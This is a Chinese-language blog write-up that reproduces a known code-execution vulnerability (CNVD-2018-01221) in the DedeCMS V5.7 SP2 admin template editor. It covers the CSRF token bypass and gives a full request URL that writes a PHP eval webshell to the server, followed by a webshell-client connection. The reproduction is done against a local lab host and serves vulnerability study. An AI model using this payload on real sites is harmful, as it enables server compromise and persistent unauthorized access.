结尾%3c php,DedeCMS V5.7 SP2 后台代码执行漏洞-CNVD-2018-01221

织梦内容管理系统(DedeCms)是一款PHP开源网站管理系统。DeDeCMS V5.7 SP2版本中的tpl.php中存在代码执行漏洞,可以通过该漏洞在增加新标签中上传木马,获取webshell。

首先我们先去官网下载DedeCMS V5.7 SP2

下载网址:http://www.dedecms.com/products/dedecms/downloads/

源代码版本:DeDeCMS V5.7 SP2(UTF-8)

然后把环境搭好,设置好各项参数。

漏洞复现

这个漏洞就比较鸡肋,因为需要搞到管理员的权限,也就是要能登录后台。

我们这里直接用刚刚设置好的管理员密码登录。

后台登录文件在 uploads/dede/login.php

15b75791a857c18ed277b34bd63a05bb.png

我们登录到后台后,需要分析tpl.php 的代码,漏洞也是出现在这里。

tpl.php 文件在 uploads\dede\tpl.php

cc76f4d5747ab10a677161d40f9f0a73.png

然后直接跳到第251行

第251行定义了一个savetagfile的函数,然后判断,参数”action”是否等于“savetagfile”,如果等于则执行该选择结构。

29aeabcfaf45bada374eac2010a3b04a.png

然后是第253行,这有一个CSRF校验函数,需要加上token来绕过限制。

4ee6d05c76a3f434b7055c7bdf9145a9.png

接着是254行的正则表达式,这个正则是用来判断 filename 参数是否匹配正则表达式的条件,不匹配就不执行修改操作并退出。

1e1563e1959cb235a3057654dddb69af.png

最后是第264行,这里把 content 参数里面的内容写入到相对用的路径里,由于这一部分代码除了对写入的文件名字做了简单的过滤和一个csrf防护之外,其他并没有什么安全措施,导致我们可以任意写入代码。

52be9f9abdd96f275ca09bcc81fe34fd.png

通过第154行的代码,有csrf检测防御,需要获得token来进行绕过。再次浏览tpl.php代码,发现action的参数有很多,比如del,edit,upload等等,但只有传入upload的时候页面才会获取token,而其他的都没有获取token,所以只能通过action=upload来获取token。

718a939f898ae61df9766c5f7ffba184.png

所以我们用浏览器浏览

http://192.168.30.129/DedeCMS5.7/uploads/dede/tpl.php?action=upload

也就是uploads/dede/tpl.php?action=upload

我们就是需要先登录后台才能正常访问。

febcf07fbf1160c630595811b0e4cf5c.png

然后右键查看源代码我们就可以在第34行看到token的值了

27f4cc5997951d7179f19f83be209f39.png

由于dedecms全局变量注册的特性,所以这里的content变量和filename变量可控。

可以把content内容直接写到以.lib.php结尾的文件中。

我们就可以构造payload了

Payload: http://192.168.30.129/DedeCMS5.7/uploads/dede/tpl.php?action=savetagfile&token=e75ea37627a60b8a5d0511e2170a668b&filename=abc.lib.php&content=%3C?php%20@eval($_REQUEST[%22test%22]);?%3E

也就是上传一句话木马

4b12b76f84043896f04968b423b9efc9.png

文件上传成功,文件在 dedecms/uploads/include/taglib/abc.lib.php

05c457c2ac45bdaf17cbe5579ff3c8db.png29e67547a0577ebff25a9b59267a9b5b.png

再用菜刀连接,完成。

d1d1962acabdac2921ad30e7773b4443.png

参考:https://www.cnblogs.com/yuzly/p/11326571.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值